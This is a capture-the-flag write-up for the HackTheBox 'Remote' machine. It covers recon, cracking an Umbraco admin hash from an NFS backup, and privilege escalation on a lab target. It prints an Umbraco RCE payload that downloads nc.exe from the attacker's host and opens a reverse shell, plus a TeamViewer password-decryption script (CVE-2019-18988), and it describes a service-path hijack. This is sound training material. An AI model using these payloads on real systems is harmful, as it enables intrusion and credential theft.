
HackTheBox – Remote

S  ummary

• Discovery of SHA1 encrypted password in Umbraco database shared via NFS.
• Cracked the discovered password to gain access to Umbraco CMS.
• Abused Umbraco CMS access by exploiting an RCE.
• Gained Initial shell via RCE.
• Discovered an encrypted password in TeamViewer7 registry.
• TeamViewer7 is vulnerable to CVE-2019-18988, it has a known decryption key that is 

default across all instances of the software, this lead to cracking the password easily.
• Password is reused on Administrator account, authenticated via WinRM as Administrator.
• Discovered an insecure service permission us UsoSrv, this could be abused to gain a shell as

system.
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R  econ

I began by adding 10.10.10.180 to /etc/hosts as remote.htb.
This was followed up by nmap scans revealing several services, notably FTP on port 21, HTTP on 
port 80,NFS on port 2049 and WinRM on port 5985.

# Nmap 7.80 scan initiated Tue Sep  8 05:01:04 2020 as: nmap -sV -sC 
-p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 -oA nmap.txt remote.htb
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.013s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
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445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6m06s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-08T09:08:09
|_  start_date: N/A

Whilst it is possible to access FTP anonymously there is nothing being shared.

Checking for shares via NFS however reveals a share called /site_backups.
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Mounting the share reveals a large collection of directories and files.

In App_Data/Umbraco.sdf there are a few lines containing an Administrator account email and 
SHA1 encoded password
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The password is easily cracked using hashcat and revealed as baconandcheese.
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Enumeration of the HTTP server using dirb nets a few directories of interest.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Tue Sep  8 05:06:11 2020
URL_BASE: http://remote.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://remote.htb/ ----
+ http://remote.htb/about-us (CODE:200|SIZE:5441)
+ http://remote.htb/blog (CODE:200|SIZE:5001)
+ http://remote.htb/Blog (CODE:200|SIZE:5001)
+ http://remote.htb/contact (CODE:200|SIZE:7880)
+ http://remote.htb/Contact (CODE:200|SIZE:7880)
+ http://remote.htb/home (CODE:200|SIZE:6703)
+ http://remote.htb/Home (CODE:200|SIZE:6703)
+ http://remote.htb/install (CODE:302|SIZE:126)
+ http://remote.htb/intranet (CODE:200|SIZE:3323)
+ http://remote.htb/master (CODE:500|SIZE:3420)
+ http://remote.htb/people (CODE:200|SIZE:6739)
+ http://remote.htb/People (CODE:200|SIZE:6739)
+ http://remote.htb/person (CODE:200|SIZE:2741)
+ http://remote.htb/product (CODE:500|SIZE:3420)
+ http://remote.htb/products (CODE:200|SIZE:5328)
+ http://remote.htb/Products (CODE:200|SIZE:5328)
+ http://remote.htb/umbraco (CODE:200|SIZE:4040)
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Navigating to /umbraco reveals a login panel, the credentials discovered in the NFS share allow 
authentication against this.

FootHold

Upon authentication we can see that Umbraco is running on version 7.12.4

There is a known RCE exploit for this particular version.
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Some modifications were made to the script to gain a reverse shell:

payload was changed to contain several commands, first of all create a new directory, then 
download nc to the server from my machine, it will then use nc to create a reverse connection back 
to my machine.

Login and password were changed to match the credentials discovered from NFS.
Host was changed to http://remote.htb

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-
microsoft-com:xslt" \

xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string 

xml() \
{ string cmd = "-c mkdir /driggzzzz; iwr -Uri http://10.10.14.13:8000/nc.exe 

-OutFile /driggzzzz/nc.exe; /driggzzzz/nc.exe 10.10.14.13 9001 -e powershell"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process();\

proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput =

true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }

\
 </msxsl:script><xsl:template match="/"> <xsl:value-of 

select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local";

password="baconandcheese";
host = "http://remote.htb";

I set up a listener on port 9001 and a python http server to host nc, running the script successfully 
granted me a reverse shell connection.
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Privilege Escalation – Method 1: C  VE-2019-18988

Using reg query I discovered an encrypted password in HKLM for TeamViewer version 7.

After trying to crack the password unsuccessfully several times I found the following article - 
https://whynotsecurity.com/blog/teamviewer/ explaining that the key and IV for decrypting the 
password is standard across the software, knowing the values of these makes cracking the password 
trivial using the following script:

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):

        self.key = key
    def decrypt(self, iv, data):

        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")

hex_str_cipher = 
"FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B"              

ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')

print(password)
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Running the script discovers a password - !R3mote!
This passowrd is reused on the Administrator account and it is possible to authenticate via WinRM 
using it.
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Privilege Escalation – Method 2: Insecure Service Permissions.

I used powershell to download accesschk.exe to the machine, using this discovers that service 
accounts have read and write access to UsoSvc, this service is running with system privileges.

By changing the path the service runs from to an executable that I control (in this case nc.exe that 
was downloaded on the foothold section) I can leverage the service to spawn a reverse shell as 
system by restarting the service.
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Once the service is restarted with the new path I gain a reverse connection to the system account.
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